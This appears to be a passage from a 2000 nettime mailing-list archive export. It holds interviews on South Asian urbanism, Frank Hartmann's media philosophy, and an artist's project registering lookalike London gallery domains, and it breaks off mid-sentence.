urban situation today can\nbe revived and taken control of? \n\nTo say that the urban system has to be revived would be to assume that the\nsituation is `dead' in some way. And that definitely isn't the case. Our\ncities are dynamic, Our cities are expanding, and they are increasing in\ncomplexity at a wonderful rate. Entire new technologies are going into\nthem, there are quite some innovations in financing them, they have sprung\nradically different organisations of labour and drives of various kinds. \nThey even have some fantastic pathologies of their own. So I would contest\nyour question: I think our cities are very alive and they have some\nprocesses which are unique to South Asia. I sometimes project them on a\nlarge screen, and then take a time lapse sequence over the last fifty\nyears or so. And the result is amazing, you see all these mercurial blobs\nsliding all over the regions and they grow large and then they merge.\nEntire cities have grown and fused into one another, it is possible to\ndrive in a straight line for a couple of hundred kilometres in western\nIndia without ever seeing the countryside. It is factories, and commercial\ncentres and housing and infrastructures all the way. \n\nThe second part of your question is, are the affairs in our cities\ncontrolled? I am sure they are, or they can be with very little effort. \n\nIf you see the success they had in Surat and to some extent with some of\nthe smaller towns in Western India, where they worked with the basic\nissues of infrastructure, health and so on. The urban situation was\nrevived spectacularly by the citizens who have had enough, so they didn't\nstop and listen to the architect or the non governmental organisations\n[both are often seen as a part of the problem] and took charge. And they\nhad information technology, local television channels distributed news\nonly via cable which showed the developments in real time, they had local\norganisations and it was all very molecular and rather spontaneous. The\nestablishment was forced to follow. The question is, does an architect or\nan urban designer have a role to play in this? \n\nAnd I think the time has passed for the so called professionals. The\nfuture will have to do with the citizen's expectations, and the answers\nwill come from engineering colleges, from the social sciences and from\npeople who have to work with issues of governance [and not necessarily\nplanners] it will come from information technology [not necessarily the\ninternet] and communication. \n\nArchitecture and planning are quasi-academic institutions of a colonial\nextraction. And they were never designed to face our kind of cities. So to\ntransform them to suit will be an extensive and a very expensive job. They\nwill have to find new ways of stating problems, new techniques of\nteaching, new laws, new modes of practising and so on. And they will have\nto combat the old colonial or westernextracted prejudices, categories,\nmodules of thinking and all that. Especially the categories, because we\njust don't have autochthonous categories: consider this, all the\nprofessions [architecture, civil engineering, planning] and branches of\nknowledge which deal with the city came up in response to authentic\ndemandseven facts createdin the west.  The Ecole des Beaux Arts had to\ninvent new methods because Paris was expanding like crazy and there were\nall these new things that Benjamin and Harvey have analysed: so they had\nthe design studio, and then Le Corbusier had to write Towards a [new]\nArchitecture and say `look it doesn't work, you haven't stated your\nproblems in relation to the Industrial Revolution, which is a major fact\nof your times. Not very well, at least'. The Bauhaus had to work with\nsocialistic demands and industrial production and so they `invented' the\nworkshop method. We teach both `studio' and `workshop' in our schools, but\nit is hard for me to see a reasonan authentic demand in the city that\nmakes it necessary to teach so. It is a fossilised transfer, it threatens\nour institutions rather than support them. \n\nI would like to see a course-curriculum in South Asia that asks the first\nquestions: what should an architect know? What is his mode of knowing?\nWhat techniques of knowing should he learn? Everybody has some sort of a\nresponse to these questions, but I would like to have these questions\nasked. Raw, pure and sharp. And their absence concerns me. \n\nAt a b,-a, we think it will be more economical to extract another set of\nprofessions from the dynamic of our cities: a new series of disciplines\nand theories to work with those disciplines. This is what we call for all\nthe time. There must be ways of crossing over the thresholds, we say, we\nmust work and find fundamentally new methods at the contemporary level of\ntechnology, rather than the late nineteenth century modes used by\narchitects and planners. We see the tremendous waste of energy in our\ncities so we start with the Solar and Industrial Infrastructures. We don't\nsee much use for the simulation technologies of western extraction so we\nwrote IO. We don't see tenability of CAD/CAM technologies [AutoCAD and its\nclones, including those three or four desi numbers] so we wrote Machinic\nHeterogenesis, and use it. We don't see the relevance of the `theory talk'\nand the decision-making most people employ so we wrote Grapheme. And\nsomewhere we will have to find new pedagogies, and techniques for the\ntransmission of knowledge. \n\nQ. What has been the change in your ideas and beliefs from when you\nstarted till date? \n\nThis is a trick question, isn't it? I don't think there is space here to\ngo into all the stuff I have junked over the years. Or the stuff that got\nsuperseded because somebody else had a better version of it. Or the stuff\nthat burdens me. Or the stuff that simply went obsolete because the\nsciences that I use advance very fast, and it is all very cutting edge. \n\nI find that I am returning more and more to the training I had before I\ndid architecture, on the whole. I am more interested in Computing,\nEngineering and Production, more in Philosophy [and not necessarily\ncriticism] and less in aesthetics [unless you define aesthetics as a study\nof meaning, rather than beauty. Then I am all for it]. I am more\ninterested in the necessary, and in criticising the Excessive. I am more\ninterested in the inevitable demise of the profession. I no longer know\nwhat they mean by `architecture' as defined by the Architect's act. So I\nam interested in closing it in its present form, in the strict sense of\nthe word. In creating spaces for the new institutions which will surely\ncome about. \n\nQ. What has been your most satisfactory project till date? \n\nNone, and all. I don't think of buildings, teaching or writings as\nprojects.  Those are end-products or by-products. The projects for me are\nsequences of thought. They are organised in a number of series. IO,\nMapping Heterologies, On Typology, SoC, Solar and Industrial\nInfrastructures... some forty-five odd sequences. And each series is a\ntransformation, by itself. I think along these lines, and progressively\ntransform my understanding. So at any given time, some are exciting, they\nare happening. Some others would be dormant, a matter of patience and\nresearch. Some bring spectacular results, like Grapheme, which has gone\nsailing cyberspace. Some are massive failures. One learns. \n\n\nAcknowledgements:  Parvis Ghassem-Fachandi for reading through and\ncorrecting the text. Anjali Mahendra and Anubhav Jain. \n\nhttp://www.ab-a.net/architexturez/questions.htm\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Fri, 28 Jul 2000 12:18:59 -0800",
                "to": "nettime-l <nettime-l {AT} bbs.thing.net>",
                "message-id": "200007281956.PAA32212 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0007/msg00173.html",
                "list": "nettime_l",
                "author_name": "brian carroll",
                "subject": "<nettime> a b,-a interview"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00093",
                "content": "\nBeyond the dualism of image and text\nAn interview with the Viennese media philosopher Frank Hartmann\nBy Geert Lovink\n\nViennese media theorist and Internet critic Frank Hartmann recently\npublished a book, in German, with the ambitious title \"Media Philosophy\". In\nan e-mail exchange he told me, in moderate terms, that readers should first\nof all perceive the work as a school book, written for educational purposes.\nPublished in the prestigious \"red cover\" UTB series, Media Philosophy seems\nan ideal title for media theory courses. In a few months the book has become\na bestseller, Frank proudly reported. After having played down possible\nexpectations of a Magnus Opus, it is worth mentioning that Frank Hartmann's\nbook indeed has a lot on offer for those interested in a continental\nEuropean overview of media issues, drawn from a philosophical perspective.\n\nHartmann is neither a member of school of German media archeology (Friedrich\nKittler) which is arguing from a techno-determinist position, nor does he\nwant to come up with an ethic of what to do with the Human in the age of\ntechnology. Instead he likes to present an \"integrative approach of media\nevolution\", bringing together technology and society. Drawing upon the work\nof Vilem Flusser, Hartmann further develops \"communicology\", an analytical\napproach of the \"medial turn\", in which categories such as knowledge,\ntextuality and language have become inseparable from the technologies in\nwhich they are expressed.\n\nWritten as a chronological overview, Media Philosophy starts with Descartes'\nimaginary space and the birth of the modern scientific author, further on to\nKant and his notion of the reflexive subject and the need for publicity,\nover to Herder and Humboldt, Husserl, Heidegger, Benjamin etc. Each chapter\nis closed with a neat summary. Interesting chapters, beyond the usual\nthinkers and references, for example deal with Fritz Mauthner, an early 20th\ncentury German philosopher who tried to deconstruct the \"logocratic regime\"\nof language. Unknown to me were attempts of Gottlob Frege, at the end of the\n19th century, to develop a new logic sign system - a pure script of\nconcepts, not contaminated by the dualities of meaning. Another, well\nwritten chapter interprets Otto Neurath's system of icons as \"universal\ncode\".\n\nIt is not exaggerated to say that continental media theory, once it has\npositioned itself within the tradition of philosophy begins and ends with a\ncritique of language. It is only through the language that we can access the\nimage (Mauthner). A similar argument can be found in contemporary writings\non the history of computing and the Internet, in which code-as-language is\nlying at the basis of all computational commands. Hartmann is not just a\nEurocentric. He is well aware of the Ango-Saxon traditions, from Pierce to\nthe Canadians Innis and McLuhan who both developed a \"media theory of\ncivilization\". Hartmann's scope does not include the US-American mainstream\ncommunication studies. Nor did he include the more recent wave of cultural\nstudies with its roots in critical sociology. The last chapters are\nsurprisingly up to date and deal with Internet culture, the notion of the\nvirtual class (Kroker/Weinstein), the emerging genre of \"net criticism\" and\nthe topology of electronic space. Time to ask questions about the motives\nbehind the making of such an ambitious overview.\n\nGL: Frank, can you tell us about your interpretation of what \"media\nphilosophy\" could be? Are you the first to use this term? Can this new\ndiscipline be studied in Vienna? Writing about technology and philosophy\nalready has a tradition. Would the philosophical approach of media and the\nInternet in particular start from there?\n\nFH: Of course there is a tradition in reflecting technology, although\ncontinental philosophy especially, tends to purify thought from all\nmateriality. Academic philosophy never bothered too much about media, while\nlanguage always was present in its discourse. Media would be the realm of\naesthetics, of what affects the senses only and not logical human thought.\nThere is this clear obsession with language, with the logocentric tradition,\nwhich also reflects the predominance of abstract codes - and therefore\ntext - in western culture. I started to be fascinated by the critical\napproach of Horkheimer's research group (later called the Frankfurt School)\nwhich in the 1930's made the press and audiovisual media as an object of\nstudy. This social and cultural studies explicitly was put up against\nHeideggers approach, which concentrates on the single human situation and\nwhich is set within a rather pessimistic 'logic of decay'. By the way, this\nwas about the time when as an undergraduate, McLuhan studied New Criticism\nin England, which is the second trail leading to media philosophy.\nThe insecurity of western culture which intensified at the beginning of the\n20th century has a lot to do with the fact that people started to be aware\nof how mechanical devices like the camera not only enhanced human\nperception, but also conquered it. With media restructuring the cultural\nforms of communication and the forms of reproducing knowledge in society, we\nwitness the rearguard actions of philosophy, like analytical philosophy. As\nI stated in the opening passage of my book, philosophy should come up with a\nnew approach to reflect all those changes which lead to new media, and the\nchanges induced by media as well.\nConcerning the term 'Media Philosophy', I think it has been around in the\nnineties already and it should not point towards a school of thought or the\ncanonization of an academic discipline, but rather follow the order given by\nVil\u00e9m Flusser, who saw the need of 'communicology' as a supplement to our\nculture's obsession with 'technology'.\n\nGL: Besides the critique of language, there is a string of theory which\nargues from and with images. Coming from art criticism and art practices,\nthere is a less verbal approach which is focussed on the haptic interfaces,\nthe way in which graphic user interfaces are working, how advertisement and\nimages as such seduce the viewer/user. Could you fit this into your\ndefinition of media philosophy?\n\nFH: Yes definitely, but it is always a matter of how this criticism is done.\nThere is the tradition of Warburg and Panofsky, relating artistic styles and\ncultural traditions in a new interdisciplinary framework, and there is a\nvariety of semiotic schools... yet something seems to be missing. Did you\never notice how a lot of the semiotic interpretation presented at\nconferences stays purely descriptive? How all analysis ends in abstract\ncategorizations? Or how film theory imitates the strategies of philology in\nan obvious urge to be academic? In most of the cases no insight is produced\nwhich would go beyond the commonsense of any witty consumer of media\nproducts. So what is really done here is not producing theory, but recoding\ninformation like transcribing visual information into an academic script.\nThese mostly ridiculous texts, squeezed between two covers, bear the promise\nto provide access to knowledge otherwise not found. The questions underneath\nare not answered: how does an interface work? Is there an intuitive\ninterface, beyond all the conventions? A perfect language maybe?\nI believe that the text, and classical texts at that, represent but a small\nfraction of what former cultures dealt with as knowledge. These small\ntextual fractions nevertheless are being fetishized as philosophy, which\nalso faces a problem of transmission within book-culture. The discipline of\nmedia philosophy has to deal with two crucial points: first, modernity\nproduced scientific knowledge which is too complex to be represented by\ntexts alone. New forms of social information processing request new forms of\nencoding/decoding to stay functional. This is why in my book I consider\nNeurath, who visualized informational relations, a pioneer. Second to that,\nnew media already start to remediate the academic discourse. Remediation is\na term used by Jay Bolter to express what is happening when new media form\nmeets the content of older media forms. We have to take this very seriously,\nbecause the computer currently is re-coding the cultural codes of reading\nand writing. That it to say, under new semiotic constellations we cannot\nproduce theory in an authoritative way any more, like the academic tradition\nwants (and sometimes forces) us to do. New media is definitely going to\nbreak up the guild principles of knowledge reproduction within academia.\n\nGL: For Deleuze, the philosopher works 'alongside' the cinema, reordening\nthe images and signs for new purposes. Could we say that today's\nphilosophers are, though sympathetic to this patchwork point of view,\nactually more interested to work 'inside' the media?\n\nFH: The problem I have with Deleuze is that he tends towards rather\nenigmatic writing. When I tried to read his book on Spinoza and, as the\nauthor put it: 'le probl\u010dme de l'expression' within philosophy, I comforted\nmyself with a sociological interpretation of this kind of writing. The\nexciting thing about Deleuze now, is that especially with the cinema text he\nwas working towards a breaking point within philosophy. This has to do with\nthe medium of philosophical expression as well. The move is documented in\n'Rhizome', the popular first chapter of \"Mille Plateaux\", but also in the\n\"ABCdaire\", a video interview series on philosophical questions Deleuze did\nshortly before his death (go to:\nhttp://www.langlab.wayne.edu/Romance/FreD_G/ABC1.html for the\ntranscriptions). This philosopher knew that one cannot go on just by\n'raping' dead authors to produce a new text. Immersion truly is the issue\nhere. Anyway, the most interesting texts were not written by repeating what\nis already there, but by a certain hybridization. Alas, it still is a text.\nFlusser, at one point, talking about the telematic society, apologized for s\ntill using words instead of images. This apology would not have been\nnecessary if we had interfaces according to human thought, associations and\nfeelings, and not just to technological frameworks and restrictions made by\nprogrammers.\n\nGL: You are producing web sites yourself and do a bit of programming. I\nwould not call you an\noutsider, quite the opposite. Is there an imaginary outside position, and if\nwe could think the unthinkable, would that be a favorable option to you?\nWhat will happen after the closure of the Net? Should we start thinking to\ngo beyond the Internet already?\n\nFH: This is a tricky question. Basically, I do not quite believe in this\ninside/outside dualism which is fostered by technology oriented media\nservices. There, everything has to be so very hip technologically to be\nworth mentioning. I am fed up with this kind of hipness when there is\nnothing else to say than what results in a momentary journalistic surplus\nvalue. The prostitutes of cyberspace are to be found everywhere, in all the\ne-zines and future-zones around the globe. They are insiders in their own\nway who will swiftly jump on the next train, which probably will be\nbiotechnologies.\nMy guess is that nowadays, people want to have some 'essence' of cyberspace\nand be as close as possible to the imaginary 'operating system'. See the\nLinux mania, in all its melancholy - to start all over again, in a clearly\nprotestant move, if not to say a movie in the making, for which Linus\nThorvalds took up the role of the big salvationist against the big and evil\npope of our sour desktop world. Is this revolutionary now, or rather\npathetic?\nSorry, I got carried away a little bit. Let us step back and ask what we are\ntalking about. The Internet? A something like 30 year old construction of a\nnew infrastructure for the communication of people and machines. The Web? A\n10 year old interface solution for exchanging scientific documents. Are we\nreally in a position to ask what is next? Then we would reveal ourselves as\nthe avant gard elitists, which we unfortunately are, never being there for\nthe revenues when business takes over. The question to think beyond the\nInternet does not work for me at the moment. Bruno Latour published a book\nwhich carries not a title, but a thesis: 'Nous n'avons jamais \u00e9t\u00e9 modernes',\nwe have never been modern. We cannot afford to be postmodern and ignore the\nnon-modern world around us. There is a vast territory out there which does\nnot wait to be cultivated in a traditional way. Maybe the answer to the\nquestion what comes next, is not up to 'us' average white middle class\nnerds. I do remember an interview with Michel Serres, 'Knowledge's\nredemption' (Revue Quart Monde, 1997), which contains some of  the relevant\nquestions. The text was recycled on lists like <nettime>, but never\ndiscussed. Information wants to be free, but in the world today, knowledge\nrequests consumer spending power. To quote Serres: \"Knowledge is the realm\nof non-scarcity, as opposed to the economy. (...) But who says that the\nknowledge necessary to fix a scooter is less important than knowledge about\nquantum physics? In a society where garbage-men are more in demand than\nnatural scientists, knowledge is on an equalization trajectory.\" So while we\nthink about going beyond the Internet, we maybe should listen to some\ngarbage men. They are the ones who clean up after the party.\n\nGL: The attempt to develop \"net criticism\" within the circles around such\nmailinglists as www.nettime.org are now five years under way. Long enough in\nthis fast changing world to look for preliminary outcomes. Do you see any,\nalso outside these networks of artists, activists and critics?\n\nFH: Very marginal ones, as I perceive it. Does <nettime> really work as an\nalternative publishing medium? I doubt this. People inside new media theory\nand art may benefit from <nettime> as a distribution channel. There is a\nchance well lost. I cannot remember for example a discussion of the very\nrelevant topics of sound. Until recently, MP3 and Napster just did not\nhappen on <nettime>.\nOk, so let us ask about the role of theory. Theory is needed as an\nanalytical and a reconstructive force, which does not really fit into the\nwake of this new era of digital networking. The assets of theory will show\nin a time of crisis, and the success of e-business does not need a media\nphilosophy nor a net criticism, not to mention the quite self contained\nnet.art stuff. Classical critique wants to show the limits of an idea, but\nthe net is not just the idea of some Californian digerati. This is also a\npolitical issue. Where is our discussion on e-Europe, which became the\nofficial term for the information society? Besides, I think <nettime> is\njust too full of academic lurkers who are keen not to miss some trendy\nthings. Now I ask myself: knowing that a lot of the interesting stuff\nhappens outside academia anyway, why did <nettime> not take the chance to\ndevelop a cool web interface, name it something like E-THEORY or what, and\nbecome the virtual center for media theory? This is my serious question to\nthe founders and curators of this list.\n\nGL: How is your interpretation of the German media theorist Friedrich\nKittler? There is no separate chapter in your book dedicated to the\nso-called Kassel school of media research (Tholen, Bolz, Kittler etc.) which\nwere so active throughout the Eighties. They now seem to be the dominant\ndiscourse, even though they might not like this, a position which is anyway\nquickly being eroded by the rise of the Internet (generation) and the cold\npragmatics of cultural studies which seem fit much better in a climate of\nbudget cuts and the commercialization of universities. You share your\ncritique on the Kittlerian technological determinism with Hartmut Winkler,\nand others. Is there a debate about these controversies in the German\nspeaking countries?\n\nFH: May I stay brief in answering this? Friedrich Kittler is a well\nrespected theorist and an exciting author. Within the German theory\ntradition, he made the necessary and liberating move from hermeneutics\ntowards the technological approach. It is the first time that I am hearing\nof a \"Kassel School\". Let us forget this very quickly. A research project\ndoes not make a school. With all respect to the research probably done, this\nis a wrong categorization. Texts by the Kittler group do not much more than\nto fetishize the technology approach as such and foster a very German\nobsession with war. And this is simply not enough, because, whether they\nlike it or not, social innovation is the clue. No technological innovation\never was successful without its social acceptance (human factor alert!).\n\nGL: Another aspect you do not address directly is the question of the\n(virtual) body and consciousness. What is your opinion on transhumanism and\nextropianism?\n\nFH: The times we live in made us forget to think about how the individual\ncan be an asset to the collective, something essential to traditional\ncommunities. Online communities work different to traditional ones. The\ncommunity does not exist but as a projection. We witness all forms of\nmedia-induced escapism. Our perception of the self changed, yet all the\ntechnologies of the self, according to Foucault, never have been steady but\nchanged with the change of times and the influence of cultures. Cultural\ntechniques have changed our physical bearing, for example to sit at a desk\nfor reading and writing. Now we wear glasses and stare at screens most of\nthe day. But there is something more to it - who said that changing\ncommunications would not alter the body? Culture always meant to shape and\nform the individual and the social body as well. Genetic engineering is one\nof the consequences, chip implants are only a matter of time. A collection\nof perfect individuals now does not make a society work better. Extropianism\nis but one restricted way to think about the future of enlightenment. I do\nconsider it a very pathetic way of western thought. You may fantasize about\nthe future by reinforcing the power of the individual with biotechnologies,\nwhich certainly is the topic next to the Internet hype. The future of\ncommunication is more about developing the social interface, I think, not\nthe individual body.\n\nGL: At the end of \"Medienphilosophie\" you are putting the question of a \"new\nenlightenment\" up in the air. You are someone who would love to promote the\ncreative destruction of post modernism, are you? Can we imagine a techno\nenlightenment which would be aware of its own power as well as its own\nlimitations?\n\nFH: Techno enlightenment is what happens all around us right now. Or should\nwe call it the wit of advanced technology? Let me relate to some personal\nexperience here. When I took my daughter Melissa to a movie in her\npre-school days, I had a big laugh when she yelled for the remote control,\nas soon as some Disney characters which were not hip enough for her appeared\non screen. She has her own website and her current mode of being is a power\npop-girl (http://www.medienphilosophie.net/melissa). This is great,\neverything is expected to be disposable at the click on a remote device, but\nI would not call this a classical enlightenment move now. A six year old\ndoes not really make a website herself, but she managed to ask me the right\nquestions. This is the new media generation. There is this nonverbal, yet\narticulate cultural protest of an unruly performance as opposed to the old\ntime rage against the machine. Our generation had this idea of sending the\nright messages through the proper channels. For the media generation, this\ndifference of truth is not of much relevance, and also, intelligence does\nnot necessarily mean verbal articulation.\nIntellectuals feel very uncomfortable with this, because their role in the\nsocial setting is being questioned and generally, people (i.e. ordinary\nfolks) just do not follow their pathetic 'Bilderverbot' (iconoclasm) any\nmore. Let us face it: we are living in a society in which people not only\nput webcams under toilet seats, but others actually watching these images on\nthe Internet. In a very blunt way: before enlightenment, people thought\ntheir actions were set by transcendental acts of god and possibly enabled by\ncontingent authorities within this world. Enlightenment told them to refrain\nfrom all kinds of images, and meant not to make an image of God, i.e. of any\ntrans-subjective matters. Techno enlightenment still has to show that we can\ngo beyond the so much stressed dualism of text and image. Paradise now. One\nproblem stays: we do no believe in god any more, and still want to enjoy\nSunday. Where is the party, who serves the drinks?\n\nFrank Hartmann, Medienphilosophie, UTB/WUV, Wien, 2000\nThe website of the book: www.medienphilosophie.net\nMore on Frank Hartmann: http://www.medienphilosophie.net/Frank_Hartmann.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Wed, 14 Jun 2000 18:35:00 +1000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200006141406.KAA16887 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0006/msg00093.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Frank Hartmann, Viennese Media Philosopher"
            },
            {
                "content-type": "text/plai",
                "from": "atthew fuller <matt {AT} axia.demon.co.uk>",
                "id": "00179",
                "content": "\nA UK based artist has recently launched a series of sites with domain names\nremarkably similar to those of some well known London galleries.  This\ninterview was carried out by email in the second week of June, just after\nthe launch of the sites, which are as follows,\n\nmf\n\n\n\nSERVICE 2000\n29 Uncommissioned Web Sites\n\nAvailable Now From the Following Locations:-\n\n            \t\t\thttp://www.saatchigallery.org.uk\n     \t\t\t       http://www.thelissongallery.co.uk\n        http://www.serpentinegallery.org.uk\n \t   http://www.richardsalmon.co.uk\n   \t\t\t  http://www.gimpelfils.co.uk\n    \t   http://www.anthonyreynolds.co.uk\n      \t http://www.anthonydoffay.co.uk  http://www.annelyjuda.co.uk\n     \t\t\t http://www.laurentdelaye.co.uk\n        \t\t\thttp://www.stephenfriedman.co.uk\n         \thttp://www.waddingtongalleries.org.uk\nhttp://www.michaelhue-williams.co.uk\n          \t\t\t\t\thttp://www.victoriamiro.co.uk\n\t\t\t\thttp://www.sadiecoles.co.uk\n        \t\t  \t\t\thttp://www.gagosian.co.uk\n         \t\t\t http://www.whitecube.org.uk\n      \t   http://www.turnerprize.org.uk http://www.thenationalgallery.org.uk\n\t\t\thttp://www.haywardgallery.org.uk\nhttp://www.tategallery.org.uk http://www.halesgallery.co.uk\n\t\t\thttp://www.mattsgallery.org.uk\nhttp://www.interimart.co.uk\n\n\thttp://www.anthonywilkinson.co.uk\n\t\thttp://www.rhodesmann.co.uk http://www.vilmagold.co.uk\n\t\t\t http://www.luxgallery.org.uk\n\t\t\t\thttp://www.lauregenillard.co.uk\n\t\t\thttp://www.paulstolper.co.uk\n\n\n\n\n\n>>You've effectively constructed a 'false' web\nring of some of the major private and publicly\nfunded galleries in London.  Do you expect them to\nnotice?   How did you choose which galleries\nto target? Is there any inter-relationship\nbetween them?\n\n>Well, I suppose its possible\nthey'll notice - I mean eventually.  When I >first\nlaunched the sites (quietly) two weeks ago I was\nafraid it would all go nuclear very quickly and\nthe sites wouldn't get much of a life.  But I\n>suspect that same lack of interest in the web\nthat has meant galleries havent bothered to\nregister the variants on their own names has also\n>afforded the project a certain amount of\nprotection.  At one level they're just not that\ninterested or informed about this emergent\nculture.   Its >more true of the commerial that\nthe public spaces.  But it tells you something\nabout the way they are looking at the web and not\nreally getting it.\nIn terms of the galleries I\nchose to participate - well it was just a matter\nof availability  and my credit card limit.  The\nletters ICA can stand for many things and as a\nresult there were no ICA domains left.  So hence,\ntheres no ICA site in the piece.  The others, it\nwas pretty much on the basis that they occured to\nme. If they were available, I registered them.\nIn terms of the relationship to one another - its\nactually geographical, its a route that might be\ntaken by someone wandering round from gallery to\ngallery.  When I was building the sites I started\nat Euston Station, imagined myself going over the\nSaatchi Gallery and progressed round from there.\nIts a trudge round some London galleries.\n\n>>The sites on these domains have what must be\nsome of  the crappest design going.  There's\nuntold animated gifs of opening and closing\nenvelopes, jumping bunnies, rainbow coloured\nhorizontal rules, and the music... did I clock\nTubular Bells against a background of dolphins for\nthe Serpentine Gallery?  Tasteful.  Can you\nshame people into submission?\n\n>Actually the Serpentine has been given a cruel dose of Jean\nMichel Jarre. (the famous bit from Oxygen)  I\ndon't know if I want to shame the galleries. Just\nto make them aware of something.\n\n>>Christ, the\ngranddaddy of all the bad love parade techno.\npainful.  Do you consider that  producing such\ntop artwork on sites whose domains are\nremarkably similar to those of well-known\ngalleries is a way of adding value to what is\notherwise a straight act of  domain squatting?\nPresumably if the galleries want to 'buy their\nnames' back, they'll not just be coughing up for\nthat, but for a bona fide piece of web-art?\n\n>I really dont consider this cybersquatting.  It's\noutreach.  It's an outreach project targetted at\ngalleries to help them understand the significance\nof the internet as a communicative space.  Hence\nthe top artwork. The commercial galleries haven't\nreally engaged with the web because they've\nfailed to see how the web impacts on their\nbusiness.  And to an extent its also true of the\npublic spaces.\nI was really suprised that the\nTate hadnt registered Tategallery in the org.uk\ndomain.  I actually had about 60 hits on the name\nin the week before I even posted anything up.\nJust people typing in the name on the assumption\nthat was where the site would be.  People who\nwanted to find out about the Tate.  I suppose the\ntate rebrand as TATE and then forget that\neveryone else in the country, the punters, think\nof them at 'The Tate Gallery'.\nThat such a mismatch should occur between a gallery and its\npublic - that it wouldn't occur to them to\nregister that and other variants.  It tells you\nsomething about how web-awareness stands in a\ngallery context as opposed to a political or\ncommercial context. Except of course for the\ncommercial gallery context  - where there's even\nless of an engagement with the web.  Even very\ndeveloped sites are little more than catalogues.\nThe Lisson has a go at something a bit more\nadventurous but I mean, have you been to\nhttp://www.doffay.com lately?\nThe other thing\nthat differentiates this project from\ncyber-squatting it that whilst all the sites are\nfor sale the domain names themselves aren't. At\nthe end of the piece I intend to give them to the\ngalleries I've targeted.  Its what they get to\ntake home for participating.  It really is an\noutreach project, on behalf of the internet.\n\n>>OK, so why the particular aesthetic for the\nsites?  This is a level of web-design only\noften acheivable by scientists doing side-line\nhome-pages for their other interests in\nspeculative fiction and saddle sniffing.  Could\nyou not have done someting less knowingly dumb\nwith the material on the domains if the\nprecise point is to make this particular audience\naware of the potential of this something?\n\n>Well, I suppose on one level it has to be this\nawful to really make that point clear. The point\nbeing - look, pay attention to the culture you are\nin because if you don't then something this awful\ncan happen.  Its a cautionary tale in that\nrespect.  A grey hat stategy, I suppose.  Also I\ndo have a great affection for low-fi html, for all\nthe gifs and midi files on those physic students'\nhome pages.  It must be the digital naive or\nsomething but I loves its garishness.  The idea\nthat galleries, whose public image is so important\nto them in the way it aids them construct value\naround art objects, should have these crappy sites\nis I guess a way creating a somewhat entertaining\ncontradiction.  For those in the know who are\ndirected to these sites by word of mouth its\nprobably just that.  But, of course there is\nanother audience for this work.  The 'genuine'\nsurfers who reach my sites through search engines\nor just tapping in the address on the off-chance.\nAnd I'm sure for them the lo-fi design functions\nin a very different way - something approaching\nshocked disbelief.  I've had a few complaints from\nart historians who, unaware of the status of the\nsites, complain that the quality of the design\nreflects very badly on the galley and on London.\n\n>>Do you hope this this functions in some\narse-about-face way to land you a dealer?\n\n>No, I'll get that from my SFMOMA show.   And the email\ndrawings I'm doing next.  Much more floggable\nthan a gallery education project.\n\n>>Nice that an art career is still that\npredicatable...\n\n>I wish.\n\n>>How can you help people to find your sites,\nrather than the more boring ones that some of\nthe galleries have already got online?\n\n>oh, check out alta vista or compuserve for names like\nAnthony Doffay, Sadie Coles or Saatchi Gallery.\nIn a number of cases my sites score more highly\nthan the official ones.  Thus whilst I've had a\nfair bit of traffic from people getting emailouts\nabout the project - I've also had a lot of hits\nfrom people using search engines.  And since its\na hermetic ring - once people are in....they can\njust surf on.\n\n>>Some of your previous work has\nbeen in part about applying art methodologies to\nthe web - ie: the drawings of sites, the limited\nedition download, which in many ways revealed\nthe procedural awkwardness of these approaches\nhave in a networked context.  This time you've\nswitched it around - why?  Or what relationships\nto the two modes of work have?\n\n>I take a lot of pleasure in bouncing things\nbetween online and offline modes - and you're\nright that this is in large part to do with\nexploring what happens if things are transferred\nor translated in different ways. Making limited\neditioned digital works or hand drawing web sites\nonto glass.   But I'm not sure this project is\nsuch a reversal of these earlier stategies, except\nin that rather than using the net as a source of\nmaterial it involves the creation of new content.\nUnderlying all of this is an interest in the\noperative and presentational structures of the web\nand how it gets used by individuals and\norganisations.  Thus when it comes to making a\npiece about domain name registration I can only\nthink of ways in which I can pitch into that\nprocess.  The sites are a lot of fun but in terms\nof what it tells you about how the web is being\nused its the fact of registering very well known\ngallery names that carries, if you like,  the\nconceptual weight of the piece.  It seems like a\nreversal - because its online not offline - but\nactually its just the most sensible mode for\nexploring the possiblitlities offered by the dns\nfree for all we live in,\n\n>>How do you understand  this work in relation\nto material by say, Luther Blisset, (the faking\nof the artist 'Harry Kipper') or by\n1001010011.org (the invention of 'Darko Maver')\nand other hoaxes produced more internally to the\nart world?  Following from these projects, it\nseems you're moving in a more gentle, as you say,\n'educative' direction?\n\n>It depends on the audience and how they come to\nthe work.  The audience reading this, if they\nchoose to look at the piece will read it as an art\nproject.  A web surfer who follows a badly formed\nlink from artdaily.com (and there is one) will\nexperience my serpentine gallery site as a hoax.\nDepending on who you are the work will appear very\ndifferently.\n\n>>Perhaps the way to pull gallerists along behind\nyou is rather by producing something that\ngenerates the debris they require to feed on as an\nafter effect of its own activity?\n\n>It's funny you should say that.  One thing I didn't\nplan when I started this project was just how much\nextra email I was going to recieve.  Every email\naddress within  the 30 or so gallery domains\npoints to my private mailbox and I've had about 50\nemails from people trying to contact the\ngalleries. In some cases this is people who have\nmade an assumption about an email address - or\njust added .uk to a .org address.  In other cases\nits people whove followed email links off the\nactual sites.  I'm turing them into a series of\nlarge pencil drawings - text translations of the\nactual emails. So for example one text drawing\nsays \"THE EMAIL FROM THE DEPUTY DIRECTOR OF THE\nCENTRE FOR ARTS AND CULTURE TO THE SAATCHI GALLERY\nASKING ABOUT THE REPRINT RIGHTS FOR FIVE IMAGES\nFROM 'SENSATION'\" whilst another reads \"THE EMAIL\nFROM THE JOURNALIST AT THE NEW STATESMEN TO THE\nWOMAN 